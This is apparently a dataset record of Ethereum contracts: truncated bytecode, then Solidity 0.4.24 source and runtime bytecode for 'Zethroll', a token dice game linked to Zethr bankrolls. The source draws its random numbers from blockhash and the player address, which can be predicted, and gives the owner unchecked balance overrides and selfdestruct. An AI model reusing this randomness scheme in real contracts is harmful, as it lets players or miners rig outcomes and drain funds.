906020019091905050611148565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104a35780601f10610478576101008083540402835291602001916104a3565b820191906000526020600020905b81548152906001019060200180831161048657829003601f168201915b50509550505050505060405180910390f35b34156104bd57fe5b6104c56111a4565b6040518080602001828103825283818151815260200191508051906020019060200280838360008314610517575b805182526020831115610517576020820191506020810190506020830392506104f3565b5050509050019250505060405180910390f35b341561053257fe5b610567600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611239565b60405180806020018281038252838181518152602001915080519060200190602002808383600083146105b9575b8051825260208311156105b957602082019150602081019050602083039250610595565b5050509050019250505060405180910390f35b34156105d457fe5b6105ea600480803590602001909190505061139d565b604051808060200182810382528381815181526020019150805190602001906020028083836000831461063c575b80518252602083111561063c57602082019150602081019050602083039250610618565b5050509050019250505060405180910390f35b341561065757fe5b61065f6115cf565b6040518082815260200191505060405180910390f35b341561067d57fe5b61069360048080359060200190919050506115d5565b005b341561069d57fe5b6106b3600480803590602001909190505061168c565b005b34156106bd57fe5b610735600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050611871565b6040518082815260200191505060405180910390f35b341561075357fe5b61075b611891565b6040518082815260200191505060405180910390f35b341561077957fe5b610781611896565b6040518082815260200191505060405180910390f35b341561079f57fe5b6107ea600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061189c565b005b34156107f457fe5b61080a6004808035906020019091905050611bc1565b005b60038181548110151561081b57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108895760006000fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108e35760006000fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a6f578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561097657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a615760036001600380549050038154811015156109d657fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a1257fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a6f565b5b8180600101925050610940565b6001600381818054905003915081610a879190611edd565b506003805490506004541115610aa657610aa56003805490506115d5565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b4e5760006000fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bba5760006000fd5b836000600082815260200190815260200160002060030160009054906101000a900460ff1615610bea5760006000fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405180905060405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b60006000600090505b600554811015610d8357838015610d3557506000600082815260200190815260200160002060030160009054906101000a900460ff16155b80610d695750828015610d6857506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d75576001820191505b5b8080600101915050610cfd565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc65760006000fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e1f5760006000fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e455760006000fd5b6001600380549050016004546032821180610e5f57508181115b80610e6a5750600081145b80610e755750600082145b15610e805760006000fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610eec9190611f09565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b50505b505b505b50565b60006000600060009150600090505b60038054905081101561107057600160008581526020019081526020016000206000600383815481101515610fce57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104f576001820191505b6004548214156110625760019250611071565b5b8080600101915050610f9d565b5b5050919050565b60006000600090505b600380549050811015611141576001600084815260200190815260200160002060006003838154811015156110b257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611133576001820191505b5b8080600101915050611081565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111ac611f35565b600380548060200260200160405190810160405280929190818152602001828054801561122e57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111e4575b505050505090505b90565b611241611f49565b611249611f49565b6000600060055460405180591061125d5750595b908082528060200260200182016040525b50925060009150600090505b60055481101561131d578580156112b257506000600082815260200190815260200160002060030160009054906101000a900460ff16155b806112e657508480156112e557506000600082815260200190815260200160002060030160009054906101000a900460ff165b5b1561130f578083838151811015156112fa57fe5b90602001906020020181815250506001820191505b5b808060010191505061127a565b87870360405180591061132d5750595b908082528060200260200182016040525b5093508790505b8681101561139157828181518110151561135b57fe5b906020019060200201518489830381518110151561137557fe5b90602001906020020181815250505b8080600101915050611345565b5b505050949350505050565b6113a5611f35565b6113ad611f35565b600060006003805490506040518059106113c45750595b908082528060200260200182016040525b50925060009150600090505b6003805490508110156115275760016000868152602001908152602001600020600060038381548110151561141257fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115195760038181548110151561149b57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114d657fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113e1565b816040518059106115355750595b908082528060200260200182016040525b509350600090505b818110156115c657828181518110151561156457fe5b90602001906020020151848281518110151561157c57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b808060010191505061154e565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116105760006000fd5b60038054905081603282118061162557508181115b806116305750600081145b8061163b5750600082145b156116465760006000fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116e65760006000fd5b8160006000600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117425760006000fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156117ad5760006000fd5b60016001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405180905060405180910390a361186685611bc1565b5b5b50505b505b5050565b600061187e848484611d86565b90506118898161168c565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d95760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156119335760006000fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561198c5760006000fd5b600092505b600380549050831015611a7a578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119c457fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a6c5783600384815481101515611a1d57fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a7a565b5b8280600101935050611991565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405180905060405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405180905060405180910390a25b5b505b505b505050565b6000816000600082815260200190815260200160002060030160009054906101000a900460ff1615611bf35760006000fd5b611bfc83610f8e565b15611d7f5760006000848152602001908152602001600020915060018260030160006101000a81548160ff0219169083151502179055508160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168260010154836002016040518082805460018160011615610100020316600290048015611cdc5780601f10611cb157610100808354040283529160200191611cdc565b820191906000526020600020905b815481529060010190602001808311611cbf57829003601f168201915b505091505060006040518083038185876185025a03f19250505015611d3057827f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405180905060405180910390a2611d7e565b827f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405180905060405180910390a260008260030160006101000a81548160ff0219169083151502179055505b5b5b5b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611dae5760006000fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff168152602001858152602001848152602001600015158152506000600084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611e6e929190611f5d565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405180905060405180910390a25b5b509392505050565b815481835581811511611f0457818360005260206000209182019101611f039190611fdd565b5b505050565b815481835581811511611f3057818360005260206000209182019101611f2f9190611fdd565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f9e57805160ff1916838001178555611fcc565b82800160010185558215611fcc579182015b82811115611fcb578251825591602001919060010190611fb0565b5b509050611fd99190611fdd565b5090565b611fff91905b80821115611ffb576000816000905550600101611fe3565b5090565b905600a165627a7a72305820b4e004fed151c6e9b5e6e05cdf5cfde5d95b82b61ee9be340a1d703445f1c6a20029
{"success": true, "error": null, "results": {}}
1,305
0x1dbf3469a68c261d219cdd9d1ccdd7da2d8e3579
pragma solidity ^0.4.24; // Zethr Token Bankroll interface contract ZethrTokenBankroll{ // Game request token transfer to player function gameRequestTokens(address target, uint tokens) public; } // Zether Main Bankroll interface contract ZethrMainBankroll{ function gameGetTokenBankrollList() public view returns (address[7]); } // Zethr main contract interface contract ZethrInterface{ function withdraw() public; } // Library for figuring out the "tier" (1-7) of a dividend rate library ZethrTierLibrary{ uint constant internal magnitude = 2**64; function getTier(uint divRate) internal pure returns (uint){ // Tier logic // Returns the index of the UsedBankrollAddresses which should be used to call into to withdraw tokens // We can divide by magnitude // Remainder is removed so we only get the actual number we want uint actualDiv = divRate; if (actualDiv >= 30){ return 6; } else if (actualDiv >= 25){ return 5; } else if (actualDiv >= 20){ return 4; } else if (actualDiv >= 15){ return 3; } else if (actualDiv >= 10){ return 2; } else if (actualDiv >= 5){ return 1; } else if (actualDiv >= 2){ return 0; } else{ // Impossible revert(); } } } // Contract that contains the functions to interact with the bankroll system contract ZethrBankrollBridge{ // Must have an interface with the main Zethr token contract ZethrInterface Zethr; // Store the bankroll addresses // address[0] is main bankroll // address[1] is tier1: 2-5% // address[2] is tier2: 5-10, etc address[7] UsedBankrollAddresses; // Mapping for easy checking mapping(address => bool) ValidBankrollAddress; // Set up the tokenbankroll stuff function setupBankrollInterface(address ZethrMainBankrollAddress) internal { // Get the bankroll addresses from the main bankroll UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); for(uint i=0; i<7; i++){ ValidBankrollAddress[UsedBankrollAddresses[i]] = true; } } // Require a function to be called from a *token* bankroll modifier fromBankroll(){ require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); _; } // Request a payment in tokens to a user FROM the appropriate tokenBankroll // Figure out the right bankroll via divRate function RequestBankrollPayment(address to, uint tokens, uint userDivRate) internal { uint tier = ZethrTierLibrary.getTier(userDivRate); address tokenBankrollAddress = UsedBankrollAddresses[tier]; ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); } } // Contract that contains functions to move divs to the main bankroll contract ZethrShell is ZethrBankrollBridge{ // Dump ETH balance to main bankroll function WithdrawToBankroll() public { address(UsedBankrollAddresses[0]).transfer(address(this).balance); } // Dump divs and dump ETH into bankroll function WithdrawAndTransferToBankroll() public { Zethr.withdraw(); WithdrawToBankroll(); } } // Zethr game data setup // Includes all necessary to run with Zethr contract Zethroll is ZethrShell { using SafeMath for uint; // Makes sure that player profit can&#39;t exceed a maximum amount, // that the bet size is valid, and the playerNumber is in range. modifier betIsValid(uint _betSize, uint _playerNumber, uint divRate) { require( calculateProfit(_betSize, _playerNumber) < getMaxProfit(divRate) && _betSize >= minBet && _playerNumber >= minNumber && _playerNumber <= maxNumber); _; } // Requires game to be currently active modifier gameIsActive { require(gamePaused == false); _; } // Requires msg.sender to be owner modifier onlyOwner { require(msg.sender == owner); _; } // Constants uint constant private MAX_INT = 2 ** 256 - 1; uint constant public maxProfitDivisor = 1000000; uint constant public maxNumber = 100; uint constant public minNumber = 2; uint constant public houseEdgeDivisor = 1000; // Configurables bool public gamePaused; address public owner; mapping (uint => uint) public contractBalance; mapping (uint => uint) public maxProfit; uint public houseEdge; uint public maxProfitAsPercentOfHouse; uint public minBet = 0; // Trackers uint public totalBets; uint public totalZTHWagered; // Events // Logs bets + output to web3 for precise &#39;payout on win&#39; field in UI event LogBet(address sender, uint value, uint rollUnder); // Outputs to web3 UI on bet result // Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won); // Logs owner transfers event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); // Logs changes in maximum profit event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit); // Logs current contract balance event CurrentContractBalance(uint _tokens); constructor (address ZethrMainBankrollAddress) public { setupBankrollInterface(ZethrMainBankrollAddress); // Owner is deployer owner = msg.sender; // Init 990 = 99% (1% houseEdge) houseEdge = 990; // The maximum profit from each bet is 10% of the contract balance. ownerSetMaxProfitAsPercentOfHouse(10000); // Init min bet (1 ZTH) ownerSetMinBet(1e18); } // Returns a random number using a specified block number // Always use a FUTURE block number. function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) { return uint256(keccak256( abi.encodePacked( blockhash(blockn), entropy) )); } // Random helper function random(uint256 upper, uint256 blockn, address entropy) public view returns (uint256 randomNumber) { return maxRandom(blockn, entropy) % upper; } // Calculate the maximum potential profit function calculateProfit(uint _initBet, uint _roll) private view returns (uint) { return ((((_initBet * (100 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet; } // I present a struct which takes only 20k gas struct playerRoll{ uint192 tokenValue; // Token value in uint uint48 blockn; // Block number 48 bits uint8 rollUnder; // Roll under 8 bits uint8 divRate; // Divrate, 8 bits } // Mapping because a player can do one roll at a time mapping(address => playerRoll) public playerRolls; // The actual roll function function _playerRollDice(uint _rollUnder, TKN _tkn, uint userDivRate) private gameIsActive betIsValid(_tkn.value, _rollUnder, userDivRate) { require(_tkn.value < ((2 ** 192) - 1)); // Smaller than the storage of 1 uint192; require(block.number < ((2 ** 48) - 1)); // Current block number smaller than storage of 1 uint48 require(userDivRate < (2 ** 8 - 1)); // This should never throw // Note that msg.sender is the Token Contract Address // and "_from" is the sender of the tokens playerRoll memory roll = playerRolls[_tkn.sender]; // Cannot bet twice in one block require(block.number != roll.blockn); // If there exists a roll, finish it if (roll.blockn != 0) { _finishBet(_tkn.sender); } // Set struct block number, token value, and rollUnder values roll.blockn = uint48(block.number); roll.tokenValue = uint192(_tkn.value); roll.rollUnder = uint8(_rollUnder); roll.divRate = uint8(userDivRate); // Store the roll struct - 20k gas. playerRolls[_tkn.sender] = roll; // Provides accurate numbers for web3 and allows for manual refunds emit LogBet(_tkn.sender, _tkn.value, _rollUnder); // Increment total number of bets totalBets += 1; // Total wagered totalZTHWagered += _tkn.value; } // Finished the current bet of a player, if they have one function finishBet() public gameIsActive returns (uint) { return _finishBet(msg.sender); } /* * Pay winner, update contract balance * to calculate new max bet, and send reward. */ function _finishBet(address target) private returns (uint){ playerRoll memory roll = playerRolls[target]; require(roll.tokenValue > 0); // No re-entracy require(roll.blockn != block.number); // If the block is more than 255 blocks old, we can&#39;t get the result // Also, if the result has already happened, fail as well uint result; if (block.number - roll.blockn > 255) { result = 1000; // Cant win } else { // Grab the result - random based ONLY on a past block (future when submitted) result = random(100, roll.blockn, target) + 1; } uint rollUnder = roll.rollUnder; if (result < rollUnder) { // Player has won! // Safely map player profit uint profit = calculateProfit(roll.tokenValue, rollUnder); uint mProfit = getMaxProfit(roll.divRate); if (profit > mProfit){ profit = mProfit; } // Safely reduce contract balance by player profit subContractBalance(roll.divRate, profit); emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true); // Update maximum profit setMaxProfit(roll.divRate); // Prevent re-entracy memes playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0)); // Transfer profit plus original bet RequestBankrollPayment(target, profit + roll.tokenValue, roll.divRate); return result; } else { /* * Player has lost * Update contract balance to calculate new max bet */ emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false); /* * Safely adjust contractBalance * SetMaxProfit */ addContractBalance(roll.divRate, roll.tokenValue); playerRolls[target] = playerRoll(uint192(0), uint48(0), uint8(0), uint8(0)); // No need to actually delete player roll here since player ALWAYS loses // Saves gas on next buy // Update maximum profit setMaxProfit(roll.divRate); return result; } } // TKN struct struct TKN {address sender; uint value;} // Token fallback to bet or deposit from bankroll function execute(address _from, uint _value, uint userDivRate, bytes _data) public fromBankroll gameIsActive returns (bool) { TKN memory _tkn; _tkn.sender = _from; _tkn.value = _value; uint8 chosenNumber = uint8(_data[0]); _playerRollDice(chosenNumber, _tkn, userDivRate); return true; } // Sets max profit function setMaxProfit(uint divRate) internal { //emit CurrentContractBalance(contractBalance); maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Gets max profit function getMaxProfit(uint divRate) public view returns (uint){ return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; } // Subtracts from the contract balance tracking var function subContractBalance(uint divRate, uint sub) internal { contractBalance[divRate] = contractBalance[divRate].sub(sub); } // Adds to the contract balance tracking var function addContractBalance(uint divRate, uint add) internal { contractBalance[divRate] = contractBalance[divRate].add(add); } // Only owner adjust contract balance variable (only used for max profit calc) function ownerUpdateContractBalance(uint newContractBalance, uint divRate) public onlyOwner { contractBalance[divRate] = newContractBalance; } // An EXTERNAL update of tokens should be handled here // This is due to token allocation // The game should handle internal updates itself (e.g. tokens are betted) function bankrollExternalUpdateTokens(uint divRate, uint newBalance) public fromBankroll { contractBalance[divRate] = newBalance; setMaxProfit(divRate); } // Only owner address can set maxProfitAsPercentOfHouse function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { // Restricts each bet to a maximum profit of 20% contractBalance require(newMaxProfitAsPercent <= 200000); maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(2); setMaxProfit(5); setMaxProfit(10); setMaxProfit(15); setMaxProfit(20); setMaxProfit(25); setMaxProfit(33); } // Only owner address can set minBet function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } // Only owner address can set emergency pause #1 function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } // Only owner address can set owner address function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } // Only owner address can selfdestruct - emergency function ownerkill() public onlyOwner { selfdestruct(owner); } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint a, uint b) internal pure returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint a, uint b) internal pure returns (uint) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; assert(c >= a); return c; } }
0x6080604052600436106101695763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166304fcadf1811461016e5780630bb954c91461019557806323214fab146101ac5780633a4f6999146101c15780633ba06452146101d657806343c1598d146101ee5780634f44728d1461020357806355b93031146102245780635e968a4914610239578063619907591461025157806361fda640146102755780636cdf4c90146102905780636eacd48a146102a8578063714490ab146102c257806382916381146102d75780638701a2f0146103575780638da5cb5b1461036c5780639619367d1461039d578063b3472edb146103b2578063befa1e2f146103ca578063c3de1ab9146103df578063ccd50d28146103f4578063d263b7eb1461044f578063d667dcd714610464578063e5c774de14610479578063ef4ef1031461048e578063f17715ef146104a9578063f7ba8896146104c1575b600080fd5b34801561017a57600080fd5b506101836104e8565b60408051918252519081900360200190f35b3480156101a157600080fd5b506101aa6104ee565b005b3480156101b857600080fd5b5061018361056a565b3480156101cd57600080fd5b50610183610570565b3480156101e257600080fd5b50610183600435610575565b3480156101fa57600080fd5b50610183610587565b34801561020f57600080fd5b506101aa600160a060020a036004351661058e565b34801561023057600080fd5b506101836105df565b34801561024557600080fd5b506101aa6004356105e4565b34801561025d57600080fd5b50610183600435600160a060020a036024351661065e565b34801561028157600080fd5b506101aa6004356024356106ff565b34801561029c57600080fd5b506101aa60043561072c565b3480156102b457600080fd5b506101aa600435151561074d565b3480156102ce57600080fd5b506101aa61077c565b3480156102e357600080fd5b50604080516020601f60643560048181013592830184900484028501840190955281845261034394600160a060020a0381351694602480359560443595369560849493019181908401838280828437509497506107b99650505050505050565b604080519115158252519081900360200190f35b34801561036357600080fd5b506101836108c9565b34801561037857600080fd5b506103816108ea565b60408051600160a060020a039092168252519081900360200190f35b3480156103a957600080fd5b506101836108fe565b3480156103be57600080fd5b50610183600435610904565b3480156103d657600080fd5b50610183610921565b3480156103eb57600080fd5b50610343610927565b34801561040057600080fd5b50610415600160a060020a0360043516610930565b60408051600160c060020a03909516855265ffffffffffff909316602085015260ff91821684840152166060830152519081900360800190f35b34801561045b57600080fd5b506101aa610971565b34801561047057600080fd5b506101836109a0565b34801561048557600080fd5b506101836109a6565b34801561049a57600080fd5b506101aa6004356024356109ac565b3480156104b557600080fd5b50610183600435610a70565b3480156104cd57600080fd5b50610183600435602435600160a060020a0360443516610a82565b60105481565b60008054604080517f3ccfd60b0000000000000000000000000000000000000000000000000000000081529051600160a060020a0390921692633ccfd60b9260048084019382900301818387803b15801561054857600080fd5b505af115801561055c573d6000803e3d6000fd5b5050505061056861077c565b565b600d5481565b606481565b600b6020526000908152604090205481565b620f424081565b6009546101009004600160a060020a031633146105aa57600080fd5b60098054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6009546101009004600160a060020a0316331461060057600080fd5b62030d4081111561061057600080fd5b600d81905561061f6002610aa1565b6106296005610aa1565b610633600a610aa1565b61063d600f610aa1565b6106476014610aa1565b6106516019610aa1565b61065b6021610aa1565b50565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106cc5780518252601f1990920191602091820191016106ad565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6009546101009004600160a060020a0316331461071b57600080fd5b6000908152600a6020526040902055565b6009546101009004600160a060020a0316331461074857600080fd5b600e55565b6009546101009004600160a060020a0316331461076957600080fd5b6009805460ff1916911515919091179055565b600160000154604051600160a060020a0390911690303180156108fc02916000818181858888f1935050505015801561065b573d6000803e3d6000fd5b60006107c36113ec565b3360009081526008602052604081205460ff16151561086957604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f6d73672e73656e6465722073686f756c6420626520612076616c69642062616e60448201527f6b726f6c6c000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b60095460ff161561087957600080fd5b600160a060020a03871682526020820186905283518490600090811061089b57fe5b016020015160f860020a9081900481020490506108bc60ff82168387610ace565b5060019695505050505050565b60095460009060ff16156108dc57600080fd5b6108e533610d7f565b905090565b6009546101009004600160a060020a031681565b600e5481565b600d546000918252600a602052604090912054620f424091020490565b600f5481565b60095460ff1681565b601160205260009081526040902054600160c060020a0381169065ffffffffffff60c060020a8204169060ff60f060020a820481169160f860020a90041684565b6009546101009004600160a060020a0316331461098d57600080fd5b6009546101009004600160a060020a0316ff5b600c5481565b6103e881565b3360009081526008602052604090205460ff161515610a5257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f6d73672e73656e6465722073686f756c6420626520612076616c69642062616e60448201527f6b726f6c6c000000000000000000000000000000000000000000000000000000606482015290519081900360840190fd5b6000828152600a60205260409020819055610a6c82610aa1565b5050565b600a6020526000908152604090205481565b600083610a8f848461065e565b811515610a9857fe5b06949350505050565b600d546000828152600a6020526040902054620f424091026000928352600b602052604090922091049055565b610ad6611403565b60095460ff1615610ae657600080fd5b82602001518483610af681610904565b610b0084846111f8565b108015610b0f5750600e548310155b8015610b1c575060028210155b8015610b29575060648211155b1515610b3457600080fd5b6020860151600160c060020a0311610b4b57600080fd5b65ffffffffffff4310610b5d57600080fd5b60ff8510610b6a57600080fd5b8551600160a060020a031660009081526011602090815260409182902082516080810184529054600160c060020a038116825265ffffffffffff60c060020a82041692820183905260ff60f060020a820481169483019490945260f860020a90049092166060830152909450431415610be257600080fd5b602084015165ffffffffffff1615610c01578551610bff90610d7f565b505b4365ffffffffffff90811660208681019182528881018051600160c060020a03908116895260ff8c81166040808c019182528c83166060808e019182528f51600160a060020a03908116600090815260118a528490208f5181549b519651945177ffffffffffffffffffffffffffffffffffffffffffffffff19909c169816979097177fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a95909b1694909402999099177fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f060020a91851691909102177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a9790931696909602919091179091558a5191518451929091168252918101919091528082018a905290517fcfb6e9afebabebfb2c7ac42dfcd2e8ca178dc6400fe8ec3075bd690d8e3377fe929181900390910190a15050600f805460010190555050506020015160108054909101905550565b6000610d89611403565b50600160a060020a038216600090815260116020908152604080832081516080810183529054600160c060020a03811680835265ffffffffffff60c060020a8304169483019490945260ff60f060020a820481169383019390935260f860020a9004909116606082015291908190819081908110610e0657600080fd5b602085015165ffffffffffff16431415610e1f57600080fd5b60ff856020015165ffffffffffff1643031115610e40576103e89350610e5e565b610e586064866020015165ffffffffffff1689610a82565b60010193505b846040015160ff16925082841015611052578451610e8590600160c060020a0316846111f8565b9150610e97856060015